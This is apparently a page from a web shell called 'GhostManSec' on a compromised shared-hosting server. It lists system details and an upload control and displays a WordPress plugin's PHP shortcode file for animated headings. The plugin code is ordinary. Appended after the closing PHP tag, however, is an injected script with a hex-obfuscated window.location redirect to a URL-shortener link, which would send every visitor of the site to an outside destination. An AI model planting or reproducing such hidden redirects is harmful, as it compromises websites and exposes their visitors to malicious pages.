GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/shortcodes/animated-heading.php
<?php
/* ---------------------------------------------------------------------------
 * Heading [animated-heading] [/animated-heading]
* --------------------------------------------------------------------------- */
if ( ! function_exists( 'sc_animated_heading' ) ) {
	function sc_animated_heading( $attr, $content = null ) {
		extract(shortcode_atts(array(
			'title'		=> '',
			'text_after'		=> '',
			'words'		=> '',
			'slogan' 	=> '',
			'title_bold' 	=> 'font-weight-bold',
			'title_italic' 	=> '',
			'title_secondary_font' 	=> '',
			'space_after' 	=> '',
			'br_after' 	=> '',
			'size'  => 'h1',
			'display'  => '',
			'title_color'		=> 'heading-default',
			'title_custom_color'		=> '',
			'slogan_bold' 	=> 'font-weight-bold',
			'slogan_italic' 	=> '',
			'slogan_secondary_font' 	=> '',
			'slogan_color'		=> 'primary',
			'slogan_custom_color'		=> '',
			'style' 	=> 'slide-inverse',
			'position'  => 'center',
			'animation' 	=> '',
			'delay' 	=> '0',
			'css' 	=> '',
		), $attr));

		$css_class = '';
		if(function_exists('vc_shortcode_custom_css_class')){
		    $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, vc_shortcode_custom_css_class( $css, ' ' ) );
		}

		$h_words = array();
		if(is_array($words)){
			$h_words = $words;
		}else{
			if(function_exists('vc_param_group_parse_atts')){
				$h_words = vc_param_group_parse_atts( $words );
			}
		}

		$output = '';
		$slogan_classes = pix_get_text_format_classes($slogan_bold, $slogan_italic, $slogan_secondary_font, $slogan_color);
		$slogan_style = '';
		if($slogan_color=='custom'){
			$slogan_style = 'style="color:'.$slogan_custom_color.' !important;"';
		}

		$t_color = '';
		$t_custom_color = '';
		if(!empty($title_color)){
			if($title_color!='custom'){
				$t_color = 'text-'.$title_color;
			}else{
				$t_custom_color = 'color:'.$title_custom_color.' !important;';
			}
		}

		$i = 0;
		$words_html = '';
		if($h_words){
			foreach ($h_words as $key => $value) {
				$w_color = '';
				$w_custom_color = '';
				if(!empty($value['has_color'])){
					if(!empty($value['word_color'])){
						if($value['word_color']!='custom'){
							$w_color = 'text-'.$value['word_color'];
						}else{
							$w_custom_color = 'style="color:'.$value['word_custom_color'].';"';
						}
					}
				}

				if($i==0){
					$words_html .= '<span class="is-visible '.$w_color.'" '.$w_custom_color.'>'.$value["word"].'</span> ';
				}else{
					$words_html .= '<span class="'.$w_color.'" '.$w_custom_color.'>'.$value["word"].'</span> ';
				}
				$i++;
			}
		}

		$bar_color = '';
		$bar_custom_color = '';
		if($style=='loading-bar'){
			if(!empty($title_color)){
				if($title_color!='custom'){
					$bar_color = 'bg-'.$title_color;
				}else{
					$bar_custom_color = 'style="background:'.$title_custom_color.';"';
				}
			}
			$words_html .= '<span class="pix-bar '.$bar_color.'" '.$bar_custom_color.'></span>';
		}

		$space_out = '';
		if(!empty($space_after)){
			$space_out = ' ';
		}
		$br_out = '';
		if(!empty($br_after)){
			$br_out = '<br />';
		}
		if(!pix_endsWith($title, ' ')) $title .= ' ';

		$output = '<div class="text-'.$position.' '.$css_class.'">';
            if(!empty($slogan)){ $output .= '<div class="slide-in-container w-100 pix-slogan-text"><h6 data-anim-type="slide-in-up" class=" '.$slogan_classes.' animate-in" '.$slogan_style.'>'. $slogan .'</h6></div>'; }
      		if(!empty($animation)){
				$output .= '<div><'.$size.' class="pix-headline my-3 '.$display.' '.$style.' '.$t_color.' '.$title_bold.' '.$title_italic.' '.$title_secondary_font.' animate-in" style="'.$t_custom_color.'" data-anim-type="'.$animation.'" data-anim-delay="'.$delay.'" >';
			}else{
				$output .= '<div><'.$size.' class="pix-headline my-3 '.$display.' '.$style.' '.$t_color.' '.$title_bold.' '.$title_italic.' '.$title_secondary_font.'" style="'.$t_custom_color.'">';
			}
				$output .= '<span>'. do_shortcode($title) .'</span>';
				$output .= '<span class="pix-words-wrapper">'.$words_html;
				$output .= '</span><span>'.$space_out.$br_out.do_shortcode( $text_after ).'</span>';
			$output .= '</'.$size.'></div>';
        $output .= '</div>';

		return $output;
	}
}


add_shortcode( 'animated-heading', 'sc_animated_heading' );

 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>